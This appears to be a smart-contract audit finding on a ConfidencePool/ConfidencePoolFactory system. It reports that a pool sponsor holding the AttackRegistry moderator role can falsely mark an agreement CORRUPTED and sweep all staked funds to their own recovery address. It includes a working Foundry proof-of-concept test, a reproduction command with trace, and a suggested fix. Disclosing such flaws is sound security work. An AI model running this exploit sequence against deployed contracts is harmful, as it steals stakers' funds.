FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Pool Sponsor can unilaterally forge CORRUPTED via the AttackRegistry attackModerator role and drain 100% of staker funds

Author Revealed upon completion


Description

Normal behavior:

A Pool Sponsor creates a ConfidencePool for a BattleChain Safe Harbor agreement they own. Stakers deposit capital trusting that the pool only resolves CORRUPTED - sweeping their principal and the bonus pool to recoveryAddress - when the underlying agreement suffers a real, on-chain-attested breach, with the pool's outcomeModerator acting as the trusted arbiter of that judgement.

The issue:

ConfidencePoolFactory.createPool requires the pool creator to be agreement.owner(), and that same address becomes the pool's owner (the Sponsor). In the out-of-scope but load-bearing AttackRegistry dependency, _registerAgreement unconditionally sets attackModerator = agreementOwner the moment the owner requests attack mode for their own agreement - a completely normal, non-adversarial step every legitimate pool goes through. AttackRegistry.markCorrupted() is gated only by onlyAttackModerator, with no DAO signature, no bond requirement, and no evidence of an actual attack. So the Sponsor - the same address who set recoveryAddress to their own wallet - can call markCorrupted() directly and fabricate a terminal CORRUPTED state with zero real breach. After expiry + MODERATOR_CORRUPTED_GRACE (180 days) with no correction, ConfidencePool.claimExpired()'s permissionless, mechanical bad-faith auto-CORRUPTED backstop finalizes it, permanently locking out the honest outcomeModerator (flagOutcome reverts OutcomeAlreadySet), and claimCorrupted() sweeps 100% of the pool to the Sponsor.

Root cause:

// src/ConfidencePoolFactory.sol
function createPool(...) external whenNotPaused returns (address pool) {
...
@> if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
// msg.sender becomes pool.owner() via ConfidencePool.initialize(..., owner_, ...)
// and — via the out-of-scope AttackRegistry._registerAgreement — also becomes the
// agreement's `attackModerator` the moment they request attack mode for it.
}
// src/ConfidencePool.sol
function claimExpired() external nonReentrant {
...
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
@> // Trusts the live registry CORRUPTED signal with no check that the agreement's
@> // attackModerator (== the Sponsor, by construction) is a neutral party.
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
...
claimsStarted = true; // locks out the honest outcomeModerator's flagOutcome correction
return;
}
...
}

Risk

Likelihood:

  • Every pool sponsor is, by construction of ConfidencePoolFactory.createPool's ownership check, the agreement owner - and becomes the registry's attackModerator the moment they take the normal, expected step of requesting attack mode for their own agreement, before any staker ever deposits.

  • The pool's outcomeModerator is a single DAO-controlled default address responsible for watching every pool across every sponsor; a sponsor timing markCorrupted() right after stakers fund the pool, then waiting out the 180-day MODERATOR_CORRUPTED_GRACE, only needs that one specific pool to go unwatched for the window - a realistic condition at scale, and nothing on-chain distinguishes a fabricated CORRUPTED from a genuine one.

Impact:

  • 100% of staked principal and all contributed bonus is swept in a single claimCorrupted() call to a recoveryAddress the Sponsor freely chose at pool creation - complete, deterministic fund loss for every honest staker and bonus contributor.

  • The mechanical claimExpired auto-resolution permanently sets claimsStarted = true, locking the pool's own honest outcomeModerator out of correcting the outcome (flagOutcome reverts OutcomeAlreadySet) - there is no in-protocol remedy once the grace window elapses.


Proof of Concept

Verified against the real, unmodified BattleChain AttackRegistry/Agreement/AgreementFactory/BattleChainSafeHarborRegistry stack (not test mocks) and the real, unmodified in-scope ConfidencePool/ConfidencePoolFactory.

function testSponsorSelfInflictedCorruptionDrainsEntirePool() external {
// Honest stakers deposit, believing they're underwriting a real attack window.
stakeToken.mint(alice, aliceStake); // 10,000e18
vm.startPrank(alice);
stakeToken.approve(address(pool), aliceStake);
pool.stake(aliceStake);
vm.stopPrank();
stakeToken.mint(bob, bobStake); // 5,000e18
vm.startPrank(bob);
stakeToken.approve(address(pool), bobStake);
pool.stake(bobStake);
vm.stopPrank();
stakeToken.mint(carol, carolBonus); // 1,000e18, bonus contributor
vm.startPrank(carol);
stakeToken.approve(address(pool), carolBonus);
pool.contributeBonus(carolBonus);
vm.stopPrank();
assertTrue(pool.riskWindowStart() != 0, "risk window opened");
// THE EXPLOIT: sponsor, wearing the AttackRegistry attackModerator hat (auto-assigned to
// them as the agreement owner), fabricates CORRUPTED. Zero actual attack occurred.
vm.prank(sponsor);
attackRegistry.markCorrupted(agreementAddr);
// Wait out MODERATOR_CORRUPTED_GRACE (180d) past expiry, then trigger the permissionless
// auto-CORRUPTED backstop.
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE() + 1);
pool.claimExpired();
assertFalse(pool.goodFaith()); // bad-faith path: full pool -> recoveryAddress
// The honest moderator's correction window is now permanently closed.
vm.prank(honestOutcomeModerator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// Sponsor sweeps the ENTIRE pool to their own recoveryAddress.
uint256 before = stakeToken.balanceOf(sponsorRecovery);
pool.claimCorrupted();
assertEq(stakeToken.balanceOf(sponsorRecovery) - before, aliceStake + bobStake + carolBonus);
assertEq(stakeToken.balanceOf(alice), 0);
assertEq(stakeToken.balanceOf(bob), 0);
}

Exact steps to reproduce (real registry stack, not mocks - isolated in a standalone Foundry project because the real AttackRegistry/Agreement pin exact pragma solidity 0.8.34 while in-scope ConfidencePool/ConfidencePoolFactory pin exact pragma solidity 0.8.26, mutually exclusive in one solc run; test/Harness.sol deploys the real stack via vm.deployCode, then the 0.8.26 test drives the real in-scope contracts against it):

  1. forge installed.

  2. cd into the PoC project (contains test/Harness.sol + test/SponsorAttackModeratorCorruption.t.sol.

  3. Run:

    forge test --match-path 'test/SponsorAttackModeratorCorruption.t.sol' -vvvv
  4. Output: [PASS] testSponsorSelfInflictedCorruptionDrainsEntirePool() (gas: 659830). Trace shows, in order:

    AttackRegistry::markCorrupted(Agreement)emit AgreementStateChanged(agreementAddress: Agreement, newState: 6) // CORRUPTED, sponsor-triggered, zero real attackConfidencePool::claimExpired()emit OutcomeFlagged(moderator: 0x0000...0000, outcome: 2, goodFaith: false, attacker: 0x0000...0000) // mechanical, no humanConfidencePool::flagOutcome(1, false, 0x0000...0000)[Revert] OutcomeAlreadySet() // honest moderator permanently locked outConfidencePool::claimCorrupted()MockERC20::transfer(sponsorRecovery, 16000000000000000000000 [1.6e22])balanceOf(sponsorRecovery) → 16000000000000000000000balanceOf(alice) → 0 (had staked 10,000e18)balanceOf(bob) → 0 (had staked 5,000e18)


Recommended Mitigation

function claimExpired() external nonReentrant {
...
+ address currentAttackModerator = IAttackRegistry(safeHarborRegistry.getAttackRegistry())
+ .getAttackModerator(agreement);
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ // Refuse to mechanically auto-resolve CORRUPTED when the agreement's attackModerator
+ // is the pool's own Sponsor — that signal is self-interested, not neutral, and must
+ // instead go through the pool's own outcomeModerator via flagOutcome.
+ if (currentAttackModerator == owner()) {
+ revert AgreementCorruptedAwaitingModerator();
+ }
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
...
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!